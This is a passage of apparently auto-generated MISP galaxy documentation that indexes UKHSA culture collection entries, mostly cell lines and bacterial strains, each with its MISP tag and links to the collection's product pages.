The tag is: *misp-galaxy:ukhsa-culture-collections="1301"*

Table 30039. Table References

Links
https://www.culturecollections.org.uk/nop/product/1301

KARPAS-929

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-929"*

Table 30040. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-929

BLO-11

The tag is: *misp-galaxy:ukhsa-culture-collections="BLO-11"*

Table 30041. Table References

Links
https://www.culturecollections.org.uk/nop/product/blo-11

PORTHOS

The tag is: *misp-galaxy:ukhsa-culture-collections="PORTHOS"*

Table 30042. Table References

Links
https://www.culturecollections.org.uk/nop/product/porthos

Sf21

The tag is: *misp-galaxy:ukhsa-culture-collections="Sf21"*

Table 30043. Table References

Links
https://www.culturecollections.org.uk/nop/product/sf21

Sf9

The tag is: *misp-galaxy:ukhsa-culture-collections="Sf9"*

Table 30044. Table References

Links
https://www.culturecollections.org.uk/nop/product/sf9

P3X63Ag8.653-TurboDoma

The tag is: *misp-galaxy:ukhsa-culture-collections="P3X63Ag8.653-TurboDoma"*

Table 30045. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3x63ag8653-turbodoma

BHK21-InVitrus

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK21-InVitrus"*

Table 30046. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk21-invitrus

AFRC MAC 252

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 252"*

Table 30047. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-252

AFRC MAC 60

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 60"*

Table 30048. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-60

Fusobacterium sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium sp."*

Table 30049. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-sp

HCT-8

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT-8"*

Table 30050. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-8

CMT 167

The tag is: *misp-galaxy:ukhsa-culture-collections="CMT 167"*

Table 30051. Table References

Links
https://www.culturecollections.org.uk/nop/product/cmt-167

Morococcus cerebrosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Morococcus cerebrosus"*

Table 30052. Table References

Links
https://www.culturecollections.org.uk/nop/product/morococcus-cerebrosus
https://www.culturecollections.org.uk/nop/product/morococcus-cerebrosus-2

A375-C5

The tag is: *misp-galaxy:ukhsa-culture-collections="A375-C5"*

Table 30053. Table References

Links
https://www.culturecollections.org.uk/nop/product/a375-c5

LA1-5s

The tag is: *misp-galaxy:ukhsa-culture-collections="LA1-5s"*

Table 30054. Table References

Links
https://www.culturecollections.org.uk/nop/product/la1-5s

KYSE-30

The tag is: *misp-galaxy:ukhsa-culture-collections="KYSE-30"*

Table 30055. Table References

Links
https://www.culturecollections.org.uk/nop/product/kyse-30

KYSE-270

The tag is: *misp-galaxy:ukhsa-culture-collections="KYSE-270"*

Table 30056. Table References

Links
https://www.culturecollections.org.uk/nop/product/kyse-270

COV413B

The tag is: *misp-galaxy:ukhsa-culture-collections="COV413B"*

Table 30057. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov413b

COV413A

The tag is: *misp-galaxy:ukhsa-culture-collections="COV413A"*

Table 30058. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov413a

COV362.4

The tag is: *misp-galaxy:ukhsa-culture-collections="COV362.4"*

Table 30059. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov3624

H25B10

The tag is: *misp-galaxy:ukhsa-culture-collections="H25B10"*

Table 30060. Table References

Links
https://www.culturecollections.org.uk/nop/product/h25b10

BRIN-BG7

The tag is: *misp-galaxy:ukhsa-culture-collections="BRIN-BG7"*

Table 30061. Table References

Links
https://www.culturecollections.org.uk/nop/product/brin-bg7

BRIN-BD11

The tag is: *misp-galaxy:ukhsa-culture-collections="BRIN-BD11"*

Table 30062. Table References

Links
https://www.culturecollections.org.uk/nop/product/brin-bd11

JIM1

The tag is: *misp-galaxy:ukhsa-culture-collections="JIM1"*

Table 30063. Table References

Links
https://www.culturecollections.org.uk/nop/product/jim1

TO14

The tag is: *misp-galaxy:ukhsa-culture-collections="TO14"*

Table 30064. Table References

Links
https://www.culturecollections.org.uk/nop/product/to14

Prevotella nigrescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella nigrescens"*

Table 30065. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-nigrescens

PDVC57B

The tag is: *misp-galaxy:ukhsa-culture-collections="PDVC57B"*

Table 30066. Table References

Links
https://www.culturecollections.org.uk/nop/product/pdvc57b

HEL 12469

The tag is: *misp-galaxy:ukhsa-culture-collections="HEL 12469"*

Table 30067. Table References

Links
https://www.culturecollections.org.uk/nop/product/hel-12469

Empedobacter brevis

The tag is: *misp-galaxy:ukhsa-culture-collections="Empedobacter brevis"*

Table 30068. Table References

Links
https://www.culturecollections.org.uk/nop/product/empedobacter-brevis-4
https://www.culturecollections.org.uk/nop/product/empedobacter-brevis
https://www.culturecollections.org.uk/nop/product/empedobacter-brevis-3
https://www.culturecollections.org.uk/nop/product/empedobacter-brevis-2

Chryseobacterium haifense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium haifense"*

Table 30069. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-haifense

Flavobacterium granuli

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium granuli"*

Table 30070. Table References

Links

https://www.culturecollections.org.uk/nop/product/flavobacterium-granuli

Chryseobacterium jeonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium jeonii"*

Table 30071. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-jeonii

Wautersiella genomovar 2

The tag is: *misp-galaxy:ukhsa-culture-collections="Wautersiella genomovar 2"*

Table 30072. Table References

Links
https://www.culturecollections.org.uk/nop/product/wautersiella-genomovar-2

Wautersiella falsenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Wautersiella falsenii"*

Table 30073. Table References

Links
https://www.culturecollections.org.uk/nop/product/wautersiella-falsenii

Sphingobacterium daejeonense

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium daejeonense"*

Table 30074. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-daejeonense

Chryseobacterium nakagawai

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium nakagawai"*

Table 30075. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-nakagawai

Achromobacter ruhlandii

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter ruhlandii"*

Table 30076. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-ruhlandii

Sphingobacterium composti

The tag is: *misp-galaxy:ukhsa-culture-collections="Sphingobacterium composti"*

Table 30077. Table References

Links
https://www.culturecollections.org.uk/nop/product/sphingobacterium-composti-2
https://www.culturecollections.org.uk/nop/product/sphingobacterium-composti

Flavobacterium resistens

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium resistens"*

Table 30078. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-resistens

Flavobacterium hydatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium hydatis"*

Table 30079. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-hydatis

Hydrotalea sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Hydrotalea sp."*

Table 30080. Table References

Links
https://www.culturecollections.org.uk/nop/product/hydrotalea-sp

Francisella cantonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Francisella cantonensis"*

Table 30081. Table References

Links
https://www.culturecollections.org.uk/nop/product/francisella-cantonensis

Clostridium ruminantium (LA 1)

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium ruminantium (LA 1)"*

Table 30082. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-ruminantium-la-1

Cloacibacterium normanense

The tag is: *misp-galaxy:ukhsa-culture-collections="Cloacibacterium normanense"*

Table 30083. Table References

Links
https://www.culturecollections.org.uk/nop/product/cloacibacterium-normanense

Flavobacterium filum

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium filum"*

Table 30084. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-filum

Chryseobacterium oranimense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium oranimense"*

Table 30085. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-oranimense

PEA2

The tag is: *misp-galaxy:ukhsa-culture-collections="PEA2"*

Table 30086. Table References

Links
https://www.culturecollections.org.uk/nop/product/pea2

PEA1

The tag is: *misp-galaxy:ukhsa-culture-collections="PEA1"*

Table 30087. Table References

Links
https://www.culturecollections.org.uk/nop/product/pea1

CMT 64

The tag is: *misp-galaxy:ukhsa-culture-collections="CMT 64"*

Table 30088. Table References

Links
https://www.culturecollections.org.uk/nop/product/cmt-64

COLO 677

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 677"*

Table 30089. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-677

JEG3

The tag is: *misp-galaxy:ukhsa-culture-collections="JEG3"*

Table 30090. Table References

Links
https://www.culturecollections.org.uk/nop/product/jeg3

FW14.14.18

The tag is: *misp-galaxy:ukhsa-culture-collections="FW14.14.18"*

Table 30091. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw141418

7R2/A4

The tag is: *misp-galaxy:ukhsa-culture-collections="7R2/A4"*

Table 30092. Table References

Links
https://www.culturecollections.org.uk/nop/product/7r2a4

HCA-2

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-2"*

Table 30093. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-2

BRIN-BG5

The tag is: *misp-galaxy:ukhsa-culture-collections="BRIN-BG5"*

Table 30094. Table References

Links
https://www.culturecollections.org.uk/nop/product/brin-bg5

HCA-7 Colony 27

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 27"*

Table 30095. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-27

HCA-7 Colony 1

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 1"*

Table 30096. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-1

UM-RC-2

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-RC-2"*

Table 30097. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-rc-2

UM-UC-10

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-10"*

Table 30098. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-10

UM-UC-9

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-9"*

Table 30099. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-9

ES-R1

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-R1"*

Table 30100. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-r1

H400

The tag is: *misp-galaxy:ukhsa-culture-collections="H400"*

Table 30101. Table References

Links
https://www.culturecollections.org.uk/nop/product/h400

H314

The tag is: *misp-galaxy:ukhsa-culture-collections="H314"*

Table 30102. Table References

Links
https://www.culturecollections.org.uk/nop/product/h314

KARPAS-45

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-45"*

Table 30103. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-45

KARPAS-231

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-231"*

Table 30104. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-231

MS

The tag is: *misp-galaxy:ukhsa-culture-collections="MS"*

Table 30105. Table References

Links
https://www.culturecollections.org.uk/nop/product/ms

DBS-FCL-2

The tag is: *misp-galaxy:ukhsa-culture-collections="DBS-FCL-2"*

Table 30106. Table References

Links
https://www.culturecollections.org.uk/nop/product/dbs-fcl-2

OMK (637-69)

The tag is: *misp-galaxy:ukhsa-culture-collections="OMK (637-69)"*

Table 30107. Table References

Links
https://www.culturecollections.org.uk/nop/product/omk-637-69

BGM

The tag is: *misp-galaxy:ukhsa-culture-collections="BGM"*

Table 30108. Table References

Links
https://www.culturecollections.org.uk/nop/product/bgm

4647

The tag is: *misp-galaxy:ukhsa-culture-collections="4647"*

Table 30109. Table References

Links
https://www.culturecollections.org.uk/nop/product/4647

CV-1 Clone B5

The tag is: *misp-galaxy:ukhsa-culture-collections="CV-1 Clone B5"*

Table 30110. Table References

Links
https://www.culturecollections.org.uk/nop/product/cv-1-clone-b5

DBS-FRhL-2

The tag is: *misp-galaxy:ukhsa-culture-collections="DBS-FRhL-2"*

Table 30111. Table References

Links
https://www.culturecollections.org.uk/nop/product/dbs-frhl-2

CV-1

The tag is: *misp-galaxy:ukhsa-culture-collections="CV-1"*

Table 30112. Table References

Links
https://www.culturecollections.org.uk/nop/product/cv-1

MLA144

The tag is: *misp-galaxy:ukhsa-culture-collections="MLA144"*

Table 30113. Table References

Links
https://www.culturecollections.org.uk/nop/product/mla144

LLCMK2 (Original)

The tag is: *misp-galaxy:ukhsa-culture-collections="LLCMK2 (Original)"*

Table 30114. Table References

Links
https://www.culturecollections.org.uk/nop/product/llcmk2-original

BSC1

The tag is: *misp-galaxy:ukhsa-culture-collections="BSC1"*

Table 30115. Table References

Links
https://www.culturecollections.org.uk/nop/product/bsc1

RAMOS-EHRB

The tag is: *misp-galaxy:ukhsa-culture-collections="RAMOS-EHRB"*

Table 30116. Table References

Links
https://www.culturecollections.org.uk/nop/product/ramos-ehrb

RAMOS (RA.1)

The tag is: *misp-galaxy:ukhsa-culture-collections="RAMOS (RA.1)"*

Table 30117. Table References

Links
https://www.culturecollections.org.uk/nop/product/ramos-ra1

QIMR-WIL

The tag is: *misp-galaxy:ukhsa-culture-collections="QIMR-WIL"*

Table 30118. Table References

Links
https://www.culturecollections.org.uk/nop/product/qimr-wil

E.H.IV (Elaine IV)

The tag is: *misp-galaxy:ukhsa-culture-collections="E.H.IV (Elaine IV)"*

Table 30119. Table References

Links
https://www.culturecollections.org.uk/nop/product/ehiv-elaine-iv

KF1

The tag is: *misp-galaxy:ukhsa-culture-collections="KF1"*

Table 30120. Table References

Links
https://www.culturecollections.org.uk/nop/product/kf1

CCB

The tag is: *misp-galaxy:ukhsa-culture-collections="CCB"*

Table 30121. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccb

utr-4a

The tag is: *misp-galaxy:ukhsa-culture-collections="utr-4a"*

Table 30122. Table References

Links
https://www.culturecollections.org.uk/nop/product/utr-4a

htr-9c

The tag is: *misp-galaxy:ukhsa-culture-collections="htr-9c"*

Table 30123. Table References

Links
https://www.culturecollections.org.uk/nop/product/htr-9c

htr-20

The tag is: *misp-galaxy:ukhsa-culture-collections="htr-20"*

Table 30124. Table References

Links
https://www.culturecollections.org.uk/nop/product/htr-20

utr-1

The tag is: *misp-galaxy:ukhsa-culture-collections="utr-1"*

Table 30125. Table References

Links
https://www.culturecollections.org.uk/nop/product/utr-1

IX-2H7-E10

The tag is: *misp-galaxy:ukhsa-culture-collections="IX-2H7-E10"*

Table 30126. Table References

Links
https://www.culturecollections.org.uk/nop/product/ix-2h7-e10

HP 6053

The tag is: *misp-galaxy:ukhsa-culture-collections="HP 6053"*

Table 30127. Table References

Links
https://www.culturecollections.org.uk/nop/product/hp-6053

A431

The tag is: *misp-galaxy:ukhsa-culture-collections="A431"*

Table 30128. Table References

Links
https://www.culturecollections.org.uk/nop/product/a431

H129-121.6.8

The tag is: *misp-galaxy:ukhsa-culture-collections="H129-121.6.8"*

Table 30129. Table References

Links
https://www.culturecollections.org.uk/nop/product/h129-12168

C-4I

The tag is: *misp-galaxy:ukhsa-culture-collections="C-4I"*

Table 30130. Table References

Links
https://www.culturecollections.org.uk/nop/product/c-4i

L6.G8.C5

The tag is: *misp-galaxy:ukhsa-culture-collections="L6.G8.C5"*

Table 30131. Table References

Links
https://www.culturecollections.org.uk/nop/product/l6g8c5

L6.C11

The tag is: *misp-galaxy:ukhsa-culture-collections="L6.C11"*

Table 30132. Table References

Links
https://www.culturecollections.org.uk/nop/product/l6c11

L6.G8

The tag is: *misp-galaxy:ukhsa-culture-collections="L6.G8"*

Table 30133. Table References

Links
https://www.culturecollections.org.uk/nop/product/l6g8

Clostridium novyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium novyi"*

Table 30134. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-10
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-6
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-2
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-14
https://www.culturecollections.org.uk/nop/product/clostridium-novyi
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-8
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-3
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-9
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-4
https://www.culturecollections.org.uk/nop/product/clostridium-novyi-7

J558L

The tag is: *misp-galaxy:ukhsa-culture-collections="J558L"*

Table 30135. Table References

Links
https://www.culturecollections.org.uk/nop/product/j558l

YAC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="YAC-1"*

Table 30136. Table References

Links
https://www.culturecollections.org.uk/nop/product/yac-1

WR19L

The tag is: *misp-galaxy:ukhsa-culture-collections="WR19L"*

Table 30137. Table References

Links
https://www.culturecollections.org.uk/nop/product/wr19l

WIL2.NS.6TG

The tag is: *misp-galaxy:ukhsa-culture-collections="WIL2.NS.6TG"*

Table 30138. Table References

Links
https://www.culturecollections.org.uk/nop/product/wil2ns6tg

WEHI-279

The tag is: *misp-galaxy:ukhsa-culture-collections="WEHI-279"*

Table 30139. Table References

Links
https://www.culturecollections.org.uk/nop/product/wehi-279

WEHI-274.1

The tag is: *misp-galaxy:ukhsa-culture-collections="WEHI-274.1"*

Table 30140. Table References

Links
https://www.culturecollections.org.uk/nop/product/wehi-2741

WEHI-231

The tag is: *misp-galaxy:ukhsa-culture-collections="WEHI-231"*

Table 30141. Table References

Links
https://www.culturecollections.org.uk/nop/product/wehi-231

WEHI 3BD

The tag is: *misp-galaxy:ukhsa-culture-collections="WEHI 3BD"*

Table 30142. Table References

Links
https://www.culturecollections.org.uk/nop/product/wehi-3bd

WEHI 3B

The tag is: *misp-galaxy:ukhsa-culture-collections="WEHI 3B"*

Table 30143. Table References

Links
https://www.culturecollections.org.uk/nop/product/wehi-3b

WEHI 164

The tag is: *misp-galaxy:ukhsa-culture-collections="WEHI 164"*

Table 30144. Table References

Links
https://www.culturecollections.org.uk/nop/product/wehi-164

WB2054M

The tag is: *misp-galaxy:ukhsa-culture-collections="WB2054M"*

Table 30145. Table References

Links
https://www.culturecollections.org.uk/nop/product/wb2054m

VP303

The tag is: *misp-galaxy:ukhsa-culture-collections="VP303"*

Table 30146. Table References

Links
https://www.culturecollections.org.uk/nop/product/vp303

VP229

The tag is: *misp-galaxy:ukhsa-culture-collections="VP229"*

Table 30147. Table References

Links
https://www.culturecollections.org.uk/nop/product/vp229

V79-4

The tag is: *misp-galaxy:ukhsa-culture-collections="V79-4"*

Table 30148. Table References

Links
https://www.culturecollections.org.uk/nop/product/v79-4

V79

The tag is: *misp-galaxy:ukhsa-culture-collections="V79"*

Table 30149. Table References

Links
https://www.culturecollections.org.uk/nop/product/v79

UT-1

The tag is: *misp-galaxy:ukhsa-culture-collections="UT-1"*

Table 30150. Table References

Links
https://www.culturecollections.org.uk/nop/product/ut-1

UMR-108

The tag is: *misp-galaxy:ukhsa-culture-collections="UMR-108"*

Table 30151. Table References

Links
https://www.culturecollections.org.uk/nop/product/umr-108

UMR-106

The tag is: *misp-galaxy:ukhsa-culture-collections="UMR-106"*

Table 30152. Table References

Links
https://www.culturecollections.org.uk/nop/product/umr-106

U-BLC1

The tag is: *misp-galaxy:ukhsa-culture-collections="U-BLC1"*

Table 30153. Table References

Links
https://www.culturecollections.org.uk/nop/product/u-blc1

TRA-171

The tag is: *misp-galaxy:ukhsa-culture-collections="TRA-171"*

Table 30154. Table References

Links
https://www.culturecollections.org.uk/nop/product/tra-171

TR6Bc1

The tag is: *misp-galaxy:ukhsa-culture-collections="TR6Bc1"*

Table 30155. Table References

Links
https://www.culturecollections.org.uk/nop/product/tr6bc1

TR33B

The tag is: *misp-galaxy:ukhsa-culture-collections="TR33B"*

Table 30156. Table References

Links
https://www.culturecollections.org.uk/nop/product/tr33b

TK-TS 13

The tag is: *misp-galaxy:ukhsa-culture-collections="TK-TS 13"*

Table 30157. Table References

Links
https://www.culturecollections.org.uk/nop/product/tk-ts-13

TB1 Lu (NBL-12)

The tag is: *misp-galaxy:ukhsa-culture-collections="TB1 Lu (NBL-12)"*

Table 30158. Table References

Links
https://www.culturecollections.org.uk/nop/product/tb1-lu-nbl-12

TA3 Hauschka

The tag is: *misp-galaxy:ukhsa-culture-collections="TA3 Hauschka"*

Table 30159. Table References

Links
https://www.culturecollections.org.uk/nop/product/ta3-hauschka

T-3-CI-2-0.fl

The tag is: *misp-galaxy:ukhsa-culture-collections="T-3-CI-2-0.fl"*

Table 30160. Table References

Links
https://www.culturecollections.org.uk/nop/product/t-3-ci-2-0fl

T24/83

The tag is: *misp-galaxy:ukhsa-culture-collections="T24/83"*

Table 30161. Table References

Links
https://www.culturecollections.org.uk/nop/product/t2483

Subclone 707 DAP8

The tag is: *misp-galaxy:ukhsa-culture-collections="Subclone 707 DAP8"*

Table 30162. Table References

Links
https://www.culturecollections.org.uk/nop/product/subclone-707-dap8

SSE-5

The tag is: *misp-galaxy:ukhsa-culture-collections="SSE-5"*

Table 30163. Table References

Links
https://www.culturecollections.org.uk/nop/product/sse-5

SR-4987

The tag is: *misp-galaxy:ukhsa-culture-collections="SR-4987"*

Table 30164. Table References

Links
https://www.culturecollections.org.uk/nop/product/sr-4987

SK-N-MC

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-N-MC"*

Table 30165. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-n-mc

SK-N-BE(2)

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-N-BE(2)"*

Table 30166. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-n-be2

SJMRF

The tag is: *misp-galaxy:ukhsa-culture-collections="SJMRF"*

Table 30167. Table References

Links
https://www.culturecollections.org.uk/nop/product/sjmrf

Sf 1Ep

The tag is: *misp-galaxy:ukhsa-culture-collections="Sf 1Ep"*

Table 30168. Table References

Links
https://www.culturecollections.org.uk/nop/product/sf-1ep

Sci-1

The tag is: *misp-galaxy:ukhsa-culture-collections="Sci-1"*

Table 30169. Table References

Links
https://www.culturecollections.org.uk/nop/product/sci-1

SC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="SC-1"*

Table 30170. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc-1

SC 11

The tag is: *misp-galaxy:ukhsa-culture-collections="SC 11"*

Table 30171. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc-11

SAF-1

The tag is: *misp-galaxy:ukhsa-culture-collections="SAF-1"*

Table 30172. Table References

Links
https://www.culturecollections.org.uk/nop/product/saf-1

RT4-D6P2T

The tag is: *misp-galaxy:ukhsa-culture-collections="RT4-D6P2T"*

Table 30173. Table References

Links
https://www.culturecollections.org.uk/nop/product/rt4-d6p2t

RT 1

The tag is: *misp-galaxy:ukhsa-culture-collections="RT 1"*

Table 30174. Table References

Links
https://www.culturecollections.org.uk/nop/product/rt-1

RR-CHOKI

The tag is: *misp-galaxy:ukhsa-culture-collections="RR-CHOKI"*

Table 30175. Table References

Links
https://www.culturecollections.org.uk/nop/product/rr-choki

RR1022

The tag is: *misp-galaxy:ukhsa-culture-collections="RR1022"*

Table 30176. Table References

Links
https://www.culturecollections.org.uk/nop/product/rr1022

RPMI 7932

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 7932"*

Table 30177. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-7932

RPMI 1846

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 1846"*

Table 30178. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-1846
https://www.culturecollections.org.uk/nop/product/rpmi-1846-2

Rolf B1.T

The tag is: *misp-galaxy:ukhsa-culture-collections="Rolf B1.T"*

Table 30179. Table References

Links
https://www.culturecollections.org.uk/nop/product/rolf-b1t

RO82-W-1

The tag is: *misp-galaxy:ukhsa-culture-collections="RO82-W-1"*

Table 30180. Table References

Links
https://www.culturecollections.org.uk/nop/product/ro82-w-1

RLC 27

The tag is: *misp-galaxy:ukhsa-culture-collections="RLC 27"*

Table 30181. Table References

Links
https://www.culturecollections.org.uk/nop/product/rlc-27

RED.1

The tag is: *misp-galaxy:ukhsa-culture-collections="RED.1"*

Table 30182. Table References

Links
https://www.culturecollections.org.uk/nop/product/red1

RC-4B/C1

The tag is: *misp-galaxy:ukhsa-culture-collections="RC-4B/C1"*

Table 30183. Table References

Links
https://www.culturecollections.org.uk/nop/product/rc-4bc1

RAT-2

The tag is: *misp-galaxy:ukhsa-culture-collections="RAT-2"*

Table 30184. Table References

Links
https://www.culturecollections.org.uk/nop/product/rat-2

Phi-1

The tag is: *misp-galaxy:ukhsa-culture-collections="Phi-1"*

Table 30185. Table References

Links
https://www.culturecollections.org.uk/nop/product/phi-1

RBL-1

The tag is: *misp-galaxy:ukhsa-culture-collections="RBL-1"*

Table 30186. Table References

Links
https://www.culturecollections.org.uk/nop/product/rbl-1

RAB-9

The tag is: *misp-galaxy:ukhsa-culture-collections="RAB-9"*

Table 30187. Table References

Links
https://www.culturecollections.org.uk/nop/product/rab-9

QT 6

The tag is: *misp-galaxy:ukhsa-culture-collections="QT 6"*

Table 30188. Table References

Links
https://www.culturecollections.org.uk/nop/product/qt-6

QT 35

The tag is: *misp-galaxy:ukhsa-culture-collections="QT 35"*

Table 30189. Table References

Links
https://www.culturecollections.org.uk/nop/product/qt-35

PSA1

The tag is: *misp-galaxy:ukhsa-culture-collections="PSA1"*

Table 30190. Table References

Links
https://www.culturecollections.org.uk/nop/product/psa1

PI.1 Ut

The tag is: *misp-galaxy:ukhsa-culture-collections="PI.1 Ut"*

Table 30191. Table References

Links
https://www.culturecollections.org.uk/nop/product/pi1-ut

PEA-13

The tag is: *misp-galaxy:ukhsa-culture-collections="PEA-13"*

Table 30192. Table References

Links
https://www.culturecollections.org.uk/nop/product/pea-13

PEA-10

The tag is: *misp-galaxy:ukhsa-culture-collections="PEA-10"*

Table 30193. Table References

Links
https://www.culturecollections.org.uk/nop/product/pea-10

PD5

The tag is: *misp-galaxy:ukhsa-culture-collections="PD5"*

Table 30194. Table References

Links
https://www.culturecollections.org.uk/nop/product/pd5

P815-1-1

The tag is: *misp-galaxy:ukhsa-culture-collections="P815-1-1"*

Table 30195. Table References

Links
https://www.culturecollections.org.uk/nop/product/p815-1-1

P3X63Ag8U.1

The tag is: *misp-galaxy:ukhsa-culture-collections="P3X63Ag8U.1"*

Table 30196. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3x63ag8u1

P3X63Ag8.653

The tag is: *misp-galaxy:ukhsa-culture-collections="P3X63Ag8.653"*

Table 30197. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3x63ag8653

P3X63Ag8

The tag is: *misp-galaxy:ukhsa-culture-collections="P3X63Ag8"*

Table 30198. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3x63ag8

P3U1

The tag is: *misp-galaxy:ukhsa-culture-collections="P3U1"*

Table 30199. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3u1

P388.D1 (Clone 3124)

The tag is: *misp-galaxy:ukhsa-culture-collections="P388.D1 (Clone 3124)"*

Table 30200. Table References

Links
https://www.culturecollections.org.uk/nop/product/p388d1-clone-3124

P3/NS1/1-Ag4.1

The tag is: *misp-galaxy:ukhsa-culture-collections="P3/NS1/1-Ag4.1"*

Table 30201. Table References

Links
https://www.culturecollections.org.uk/nop/product/p3ns11-ag41

P1Bb1.1 (DBA/2)

The tag is: *misp-galaxy:ukhsa-culture-collections="P1Bb1.1 (DBA/2)"*

Table 30202. Table References

Links
https://www.culturecollections.org.uk/nop/product/p1bb11-dba2

NS20Y-TG

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y-TG"*

Table 30203. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y-tg

NS20Y-BU-7

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y-BU-7"*

Table 30204. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y-bu-7

NS20Y-BU-6

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y-BU-6"*

Table 30205. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y-bu-6

NS20Y-BU-5

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y-BU-5"*

Table 30206. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y-bu-5

NS20Y-BU-4

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y-BU-4"*

Table 30207. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y-bu-4

NS20Y-BU-2

The tag is: *misp-galaxy:ukhsa-culture-collections="NS20Y-BU-2"*

Table 30208. Table References

Links
https://www.culturecollections.org.uk/nop/product/ns20y-bu-2

NRK-52E

The tag is: *misp-galaxy:ukhsa-culture-collections="NRK-52E"*

Table 30209. Table References

Links
https://www.culturecollections.org.uk/nop/product/nrk-52e

NRK-49F

The tag is: *misp-galaxy:ukhsa-culture-collections="NRK-49F"*

Table 30210. Table References

Links
https://www.culturecollections.org.uk/nop/product/nrk-49f

NMuMG

The tag is: *misp-galaxy:ukhsa-culture-collections="NMuMG"*

Table 30211. Table References

Links
